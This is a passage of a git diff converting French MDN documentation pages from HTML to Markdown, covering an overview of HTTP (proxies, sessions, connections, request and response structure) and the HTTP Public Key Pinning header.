un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP. -<h3 id="Les_proxys">Les <em>proxys</em></h3> +### Les _proxys_ -<p>Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées <strong>proxy</strong>. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :</p> +Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées **proxy**. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches : -<ul> - <li>mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur)</li> - <li>filtrer (comme un antivirus, contrôle parental…)</li> - <li>répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes)</li> - <li>authentifier (pour contrôler l'accès à différentes ressources)</li> - <li>effectuer la journalisation (permettant le stockage des informations d'historiques)</li> -</ul> +- mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur) +- filtrer (comme un antivirus, contrôle parental…) +- répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes) +- authentifier (pour contrôler l'accès à différentes ressources) +- effectuer la journalisation (permettant le stockage des informations d'historiques) -<h2 id="Principaux_aspects_dHTTP">Principaux aspects d'HTTP</h2> +## Principaux aspects d'HTTP -<h3 id="HTTP_est_simple">HTTP est simple</h3> +### HTTP est simple -<p>Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.</p> +Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants. -<h3 id="HTTP_est_extensible">HTTP est extensible</h3> +### HTTP est extensible -<p>À partir de HTTP/1.0, les <a href="/fr/docs/HTTP/Headers">en-têtes HTTP</a> permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.</p> +À partir de HTTP/1.0, les [en-têtes HTTP](/fr/docs/HTTP/Headers) permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes. -<h3 id="HTTP_est_sans_état_mais_pas_sans_session">HTTP est sans état, mais pas sans session</h3> +### HTTP est sans état, mais pas sans session -<p>HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.</p> +HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état. -<h3 id="HTTP_et_les_connexions">HTTP et les connexions</h3> +### HTTP et les connexions -<p>Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.</p> +Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire. -<p>HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent <em>chaudes</em> sont plus efficaces que les communications <em>froides.</em></p> +HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent _chaudes_ sont plus efficaces que les communications _froides._ -<p>Afin de réduire ces défauts, HTTP/1.1 introduit le <em>pipelining</em> (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace</p> +Afin de réduire ces défauts, HTTP/1.1 introduit le _pipelining_ (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace -<p>Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.</p> +Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente [QUIC](https://en.wikipedia.org/wiki/QUIC), construit sur UDP pour fournir un protocole de transport plus fiable et efficace. -<h2 id="Ce_qui_peut_être_contrôlé_par_HTTP">Ce qui peut être contrôlé par HTTP</h2> +## Ce qui peut être contrôlé par HTTP -<p>Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.</p> +Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010. -<p>Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.</p> +Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP. -<ul> - <li><em><a href="/fr/docs/Web/HTTP/Caching">Cache</a></em><br> - La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké.</li> - <li><em>Lever la contrainte d'origine unique</em><br> - Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la <strong>même {{Glossary("origine")}}</strong> peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi).</li> - <li><em>Authentification</em><br> - Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a>.</li> - <li><a href="/fr/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxys et tunnels</a><br> - Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys.</li> - <li><em>Sessions</em><br> - L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur.</li> -</ul> +- _[Cache](/fr/docs/Web/HTTP/Caching)_ + La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké. +- _Lever la contrainte d'origine unique_ + Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la **même {{Glossary("origine")}}** peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi). +- _Authentification_ + Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des [cookies HTTP](/fr/docs/Web/HTTP/Cookies). +- [Proxys et tunnels](/fr/docs/Web/HTTP/Proxy_servers_and_tunneling) + Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys. +- _Sessions_ + L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur. -<h2 id="Flux_HTTP">Flux HTTP</h2> +## Flux HTTP -<p>Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :</p> +Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes : -<ol> - <li>Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.</li> - <li>Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. - <pre>GET / HTTP/1.1 -Host: developer.mozilla.org -Accept-Language: fr</pre> - </li> - <li>Il lit la réponse envoyée par le serveur : - <pre>HTTP/1.1 200 OK -Date: Sat, 09 Oct 2010 14:28:02 GMT -Server: Apache -Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT -ETag: "51142bc1-7449-479b075b2891b" -Accept-Ranges: bytes -Content-Length: 29769 -Content-Type: text/html +1. Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur. +2. Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. -<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)</pre> - </li> - <li>Il ferme ou réutilise la connexion pour les requêtes suivantes.</li> -</ol> + GET / HTTP/1.1 + Host: developer.mozilla.org + Accept-Language: fr -<p>Si le <em>pipeline</em> HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le <em>pipeline</em> HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline <em>HTTP</em> a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.</p> +3. Il lit la réponse envoyée par le serveur : -<h2 id="Les_messages_HTTP">Les messages HTTP</h2> + HTTP/1.1 200 OK + Date: Sat, 09 Oct 2010 14:28:02 GMT + Server: Apache + Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT + ETag: "51142bc1-7449-479b075b2891b" + Accept-Ranges: bytes + Content-Length: 29769 + Content-Type: text/html -<p>Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.</p> + <!DOCTYPE html... (suivi des 29769 octets de la page web demandée) -<p>Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.</p> +4. Il ferme ou réutilise la connexion pour les requêtes suivantes. -<h3 id="Requêtes">Requêtes</h3> +Si le _pipeline_ HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le _pipeline_ HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline _HTTP_ a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames. -<p>Un exemple de requête HTTP :</p> +## Les messages HTTP -<p><img alt="Une requête HTTP basique" src="http_request.png"></p> +Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1. -<p>Une requête comprend les éléments suivants :</p> +Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format. -<ul> - <li>Une <a href="/fr/docs/Web/HTTP/Methods">méthode</a> HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaire HTML</a> (en utilisant <code>POST</code>), bien que d'autres opérations puissent être nécessaires dans d'autres cas.</li> - <li>Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80).</li> - <li>La version du protocole HTTP.</li> - <li>Les <a href="/fr/docs/HTTP/Headers">en-têtes</a> optionnels qui transmettent des informations supplémentaires pour les serveurs.</li> - <li>Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée.</li> -</ul> +### Requêtes -<h3 id="Réponses">Réponses</h3> +Un exemple de requête HTTP : -<p>Un exemple de réponse :</p> +![Une requête HTTP basique](http_request.png) -<p><img alt="une réponse HTTP" src="http_response.png"></p> +Une requête comprend les éléments suivants : -<p>Une réponse comprend les éléments suivants:</p> +- Une [méthode](/fr/docs/Web/HTTP/Methods) HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un [formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires) (en utilisant `POST`), bien que d'autres opérations puissent être nécessaires dans d'autres cas. +- Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http\://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80). +- La version du protocole HTTP. +- Les [en-têtes](/fr/docs/HTTP/Headers) optionnels qui transmettent des informations supplémentaires pour les serveurs. +- Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée. -<ul> - <li>La version du protocole HTTP qu'elle suit</li> - <li>Un <a href="/fr/docs/Web/HTTP/Status">code de statut</a>, qui indique si la requête a réussi ou non.</li> - <li>Un message de statut qui est une description rapide, informelle, du code de statut</li> - <li>Les <a href="/fr/docs/Web/HTTP/Headers">en-têtes</a> HTTP, comme pour les requêtes.</li> - <li>Éventuellement un corps contenant la ressource récupérée.</li> -</ul> +### Réponses -<h2 id="Les_APIs_basées_sur_HTTP">Les APIs basées sur HTTP</h2> +Un exemple de réponse : -<p>L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.</p> +![une réponse HTTP](http_response.png) -<p>Une autre API, <a href="/fr/docs/Web/API/Server-sent_events">server-sent events</a>, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.</p> +Une réponse comprend les éléments suivants: -<h2 id="Conclusion">Conclusion</h2> +- La version du protocole HTTP qu'elle suit +- Un [code de statut](/fr/docs/Web/HTTP/Status), qui indique si la requête a réussi ou non. +- Un message de statut qui est une description rapide, informelle, du code de statut +- Les [en-têtes](/fr/docs/Web/HTTP/Headers) HTTP, comme pour les requêtes. +- Éventuellement un corps contenant la ressource récupérée. -<p>HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.</p> +## Les APIs basées sur HTTP -<p>Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple <a href="/fr/docs/Outils/Moniteur_réseau">moniteur de message HTTP</a>.</p> +L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur. + +Une autre API, [server-sent events](/fr/docs/Web/API/Server-sent_events), est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}. + +## Conclusion + +HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web. + +Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple [moniteur de message HTTP](/fr/docs/Outils/Moniteur_réseau). diff --git a/files/fr/web/http/public_key_pinning/index.md b/files/fr/web/http/public_key_pinning/index.md index b378e93471..22aa5c4667 100644 --- a/files/fr/web/http/public_key_pinning/index.md +++ b/files/fr/web/http/public_key_pinning/index.md @@ -8,130 +8,105 @@ tags: translation_of: Web/HTTP/Public_Key_Pinning original_slug: Web/Security/Public_Key_Pinning --- -<p>L'extention <strong>Public Key Pinning pour HTTP</strong> (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques <a href="https://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu">MITM</a> avec des certificats contrefaits.</p> +L'extention **Public Key Pinning pour HTTP** (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques [MITM](https://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu) avec des certificats contrefaits. -<div class="note"> -<p><strong>Note :</strong> La Public Key Pinning décrite ici est différente du limité <a href="http://monica-at-mozilla.blogspot.de/2014/08/firefox-32-supports-public-key-pinning.html">preload list based key pinning</a> introduit dans Firefox 32.</p> -</div> +> **Note :** La Public Key Pinning décrite ici est différente du limité [preload list based key pinning](http://monica-at-mozilla.blogspot.de/2014/08/firefox-32-supports-public-key-pinning.html) introduit dans Firefox 32. -<p>Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.</p> +Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web. -<p>HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, <em>Trust on First Use</em>). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.</p> +HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, _Trust on First Use_). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur. -<div class="notecard note"> - <p><strong>Note :</strong> Firefox (et Chrome) <strong>désactivent la vérification de l'épinglage</strong> lorsqu'un site épinglé présentent une chaine de certificats qui se termine par <strong>un certificat racine installé par l'utilisateur</strong> (et non un certificat racine de base).</p> -</div> +> **Note :** Firefox (et Chrome) **désactivent la vérification de l'épinglage** lorsqu'un site épinglé présentent une chaine de certificats qui se termine par **un certificat racine installé par l'utilisateur** (et non un certificat racine de base). -<h2 id="Activer_HPKP">Activer HPKP</h2> +## Activer HPKP -<p>Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP <code>Public-Key-Pins</code> HTTP quand le site est accédé via HTTPS :</p> +Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP `Public-Key-Pins` HTTP quand le site est accédé via HTTPS : -<pre>Public-Key-Pins: pin-sha256="base64=="; max-age=<em>expireTime</em> [; includeSubdomains][; report-uri="<em>reportURI"</em>] -</pre> + Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"] -<dl> - <dt><code>pin-sha256</code></dt> - <dd>La chaîne de caractère entre guillemets est l’empreinte du <em>Subject Public Key Information</em> (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.</dd> - <dt><code>max-age</code></dt> - <dd>Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.</dd> - <dt><code>includeSubdomains</code> {{ optional_inline() }}</dt> - <dd>Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.</dd> - <dt><code>report-uri</code> {{ optional_inline() }}</dt> - <dd>Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.</dd> -</dl> +- `pin-sha256` + - : La chaîne de caractère entre guillemets est l’empreinte du *Subject Public Key Information* (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé. +- `max-age` + - : Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées. +- `includeSubdomains` {{ optional_inline() }} + - : Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel. +- `report-uri` {{ optional_inline() }} + - : Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée. -<div class="note"> -<p><strong>Note :</strong> La spécification actuelle <strong>impose</strong> d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).</p> -</div> +> **Note :** La spécification actuelle **impose** d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas). -<div class="note"> -<p><strong>Note :</strong> Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.</p> +> **Note :** Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46. +> +> - Firefox: [Bug 1091176 - Implement report-uri directive for HPKP ](https://bugzilla.mozilla.org/show_bug.cgi?id=1091176)et [Bug 787133 - (hpkp) Implement Public Key Pinning Extension for HTTP (HPKP)](https://bugzilla.mozilla.org/show_bug.cgi?id=787133) +> - Chrome: <https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46> , [HTTP Public Key Pinning violating reporting](https://www.chromestatus.com/feature/4669935557017600) et [Issue 445793: HPKP Reporting on invalid pins](https://code.google.com/p/chromium/issues/detail?id=445793) -<ul> - <li>Firefox: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1091176">Bug 1091176 - Implement report-uri directive for HPKP </a> et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=787133">Bug 787133 - (hpkp) Implement Public Key Pinning Extension for HTTP (HPKP)</a></li> - <li>Chrome: <a href="https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46">https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46</a> , <a href="https://www.chromestatus.com/feature/4669935557017600">HTTP Public Key Pinning violating reporting</a> et <a 